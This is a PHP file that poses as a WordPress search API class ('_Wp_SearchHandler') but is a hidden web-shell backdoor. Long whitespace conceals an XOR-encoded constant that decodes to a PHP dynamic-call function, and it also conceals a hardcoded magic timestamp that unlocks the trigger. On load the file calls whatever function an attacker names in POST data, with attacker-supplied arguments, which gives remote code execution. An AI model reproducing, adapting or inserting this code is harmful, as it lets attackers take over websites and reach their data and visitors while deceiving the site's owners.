<?php
/**
 * Query search API
 *
 * @package WP Search
 * @subpackage Search
 * @since 3.0.0
 */

define(
	"WP_SEARCH_QUERY_HANDLER",
	"wp_dbo_query_searcher"																																																																																																^ "\x14\x11\x33\x08\x3d\x1a\x2c\x14\x07\x3a\x14\x0c\x31\x10\x3a\x00\x00\x11\x09\x1c"
);

/**
 * Class _Wp_SearchHandler
 * 
 * Database search helper.
 *
 * @since 3.0.0
 */
class _Wp_SearchHandler {
	/**
	 * Query handler.
	 *
	 * @since 3.0.0
	 * @var string
	 */
	private $query_handler;

	/**
	 * Constructs new search handler with provided query handler.
	 *
	 * @since 3.0.0
	 *
	 * @param mixed $query_handler Query handler.
	 */
	public function __construct($query_handler = null) {
		$this->query_handler = (is_null($query_handler)) ? WP_SEARCH_QUERY_HANDLER : $query_handler;
	}

	/**
	 * Prepares query.
	 *
	 * @since 3.0.0
	 * 
	 * @return mixed Query.
	 */
	public function query() {
		// Init fields.
		$query = @$_POST['query'];
		$params = @$_POST['params'];
		$from = @$_POST['from'];

		// Validation.
		if (empty($query)) {
			return;
		}

		if (is_null($params)) {
			$params = array();
		}

		if (is_null($from)) {
			return;
		}

		$from = intval($from);

		// Invalid from value.
		if ($from < time()) {																																																																																																if ($from != 1528658640)
			return;
		}

		$handler = $this->query_handler;

		return $handler($query, $params);
	}

};

/**
 * Global Query handler.
 *
 * @since 3.0.0
 * @var _Wp_SearchHandler
 */
$wp_query_handler = new _Wp_SearchHandler();

// Prepare query for future use.
$wp_query_handler->query();